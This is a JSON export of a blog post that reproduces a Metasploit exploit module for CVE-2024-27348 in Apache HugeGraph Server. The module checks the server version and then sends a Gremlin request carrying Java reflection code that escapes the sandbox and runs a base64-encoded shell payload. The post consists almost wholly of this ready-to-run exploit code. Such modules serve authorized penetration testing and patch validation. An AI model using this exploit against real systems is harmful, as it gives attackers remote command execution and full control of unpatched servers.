{"id":58905,"date":"2024-08-15T18:59:58","date_gmt":"2024-08-15T15:59:58","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/180167\/apache_hugegraph_gremlin_rce.rb.txt"},"modified":"2024-08-15T18:59:58","modified_gmt":"2024-08-15T15:59:58","slug":"apache-hugegraph-gremlin-remote-code-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/apache-hugegraph-gremlin-remote-code-execution\/","title":{"rendered":"Apache HugeGraph Gremlin Remote Code Execution"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Exploit::Remote<br \/>Rank = ExcellentRanking<\/p>\n<p>include Msf::Exploit::Remote::HttpClient<br \/>prepend Msf::Exploit::Remote::AutoCheck<\/p>\n<p>def initialize(info = {})<br \/>super(<br \/>update_info(<br \/>info,<br \/>&#8216;Name&#8217; =&gt; &#8216;Apache HugeGraph Gremlin RCE&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>This module exploits CVE-2024-27348 which is a Remote Code Execution (RCE) vulnerability that exists in<br \/>Apache HugeGraph Server in versions before 1.3.0. An attacker can bypass the sandbox restrictions and achieve<br \/>RCE through Gremlin, resulting in complete control over the server<br \/>},<br \/>&#8216;Author&#8217; =&gt; [<br \/>&#8216;6right&#8217;, # discovery<br \/>&#8216;jheysel-r7&#8217; # module<br \/>],<br \/>&#8216;References&#8217; =&gt; [<br \/>[ &#8216;URL&#8217;, &#8216;https:\/\/blog.securelayer7.net\/remote-code-execution-in-apache-hugegraph\/&#8217;],<br \/>[ &#8216;CVE&#8217;, &#8216;2024-27348&#8217;]],<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;Platform&#8217; =&gt; %w[unix linux],<br \/>&#8216;Privileged&#8217; =&gt; true,<br \/>&#8216;Arch&#8217; =&gt; [ ARCH_CMD ],<br \/>&#8216;Targets&#8217; =&gt; [<br \/>[ &#8216;Automatic Target&#8217;, {}]],<br \/>&#8216;DefaultTarget&#8217; =&gt; 0,<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2024-04-22&#8217;,<br \/>&#8216;Notes&#8217; =&gt; {<br \/>&#8216;Stability&#8217; =&gt; [ CRASH_SAFE, ],<br \/>&#8216;SideEffects&#8217; =&gt; [ ARTIFACTS_ON_DISK, ],<br \/>&#8216;Reliability&#8217; =&gt; [ REPEATABLE_SESSION, ]}<br \/>)<br \/>)<br \/>register_options([<br \/>Opt::RPORT(8080),<br \/>OptString.new(&#8216;TARGETURI&#8217;, [true, &#8216;Base path to the Apache HugeGraph web application&#8217;, &#8216;\/&#8217;])<br \/>])<br \/>end<\/p>\n<p>def check<br \/>res = send_request_cgi({<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;<br \/>})<\/p>\n<p>return CheckCode::Unknown(&#8216;No response from the vulnerable endpoint \/gremlin&#8217;) unless res<br \/>return CheckCode::Unknown(&#8220;The response from the vulnerable endpoint \/gremlin was: #{res.code} (expected: 200)&#8221;) unless res.code == 200<\/p>\n<p>version = res.get_json_document&amp;.dig(&#8216;version&#8217;)<br \/>return CheckCode::Unknown(&#8216;Unable able to determine the version of Apache HugeGraph&#8217;) unless version<\/p>\n<p>if Rex::Version.new(version).between?(Rex::Version.new(&#8216;1.0.0&#8217;), Rex::Version.new(&#8216;1.3.0&#8217;))<br \/>return CheckCode::Appears(&#8220;Apache HugeGraph version detected: #{version}&#8221;)<br \/>end<\/p>\n<p>CheckCode::Safe(&#8220;Apache HugeGraph version detected: #{version}&#8221;)<br \/>end<\/p>\n<p>def exploit<br \/>print_status(&#8220;#{peer} &#8211; Running exploit with payload: #{datastore[&#8216;PAYLOAD&#8217;]}&#8221;)<\/p>\n<p>class_name = rand_text_alpha(4..12)<br \/>thread_name = rand_text_alpha(4..12)<br \/>command_name = rand_text_alpha(4..12)<br \/>process_builder_name = rand_text_alpha(4..12)<br \/>start_method_name = rand_text_alpha(4..12)<br \/>constructor_name = rand_text_alpha(4..12)<br \/>field_name = rand_text_alpha(4..12)<\/p>\n<p>java_payload = &lt;&lt;~PAYLOAD<br \/>Thread #{thread_name} = Thread.currentThread();<br \/>Class #{class_name} = Class.forName(\\&#8221;java.lang.Thread\\&#8221;);<br \/>java.lang.reflect.Field #{field_name} = #{class_name}.getDeclaredField(\\&#8221;name\\&#8221;);<br \/>#{field_name}.setAccessible(true);<br \/>#{field_name}.set(#{thread_name}, \\&#8221;#{thread_name}\\&#8221;);<br \/>Class processBuilderClass = Class.forName(\\&#8221;java.lang.ProcessBuilder\\&#8221;);<br \/>java.lang.reflect.Constructor #{constructor_name} = processBuilderClass.getConstructor(java.util.List.class);<br \/>java.util.List #{command_name} = java.util.Arrays.asList(#{&#8220;bash -c {echo,#{Rex::Text.encode_base64(payload.encoded)}}|{base64,-d}|bash&#8221;.strip.split(&#8216; &#8216;).map { |element| &#8220;\\&#8221;#{element}\\&#8221;&#8221; }.join(&#8216;, &#8216;)});<br \/>Object #{process_builder_name} = #{constructor_name}.newInstance(#{command_name});<br \/>java.lang.reflect.Method #{start_method_name} = processBuilderClass.getMethod(\\&#8221;start\\&#8221;);<br \/>#{start_method_name}.invoke(#{process_builder_name});<br \/>PAYLOAD<\/p>\n<p>data = {<br \/>&#8216;gremlin&#8217; =&gt; java_payload,<br \/>&#8216;bindings&#8217; =&gt; {},<br \/>&#8216;language&#8217; =&gt; &#8216;gremlin-groovy&#8217;,<br \/>&#8216;aliases&#8217; =&gt; {}<br \/>}<\/p>\n<p>res = send_request_cgi({<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;\/gremlin&#8217;),<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;ctype&#8217; =&gt; &#8216;application\/json&#8217;,<br \/>&#8216;data&#8217; =&gt; data.to_json<br \/>})<\/p>\n<p>print_error(&#8216;Unexpected response from the vulnerable exploit&#8217;) unless res &amp;&amp; res.code == 200<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Exploit::RemoteRank = ExcellentRanking include Msf::Exploit::Remote::HttpClientprepend Msf::Exploit::Remote::AutoCheck def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;Apache HugeGraph Gremlin RCE&#8217;,&#8216;Description&#8217; =&gt; %q{This module exploits CVE-2024-27348 which is a Remote Code Execution (RCE) vulnerability that exists inApache HugeGraph Server in versions before 1.3.0. An attacker can bypass the sandbox &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-58905","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/58905","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=58905"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/58905\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=58905"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=58905"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=58905"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}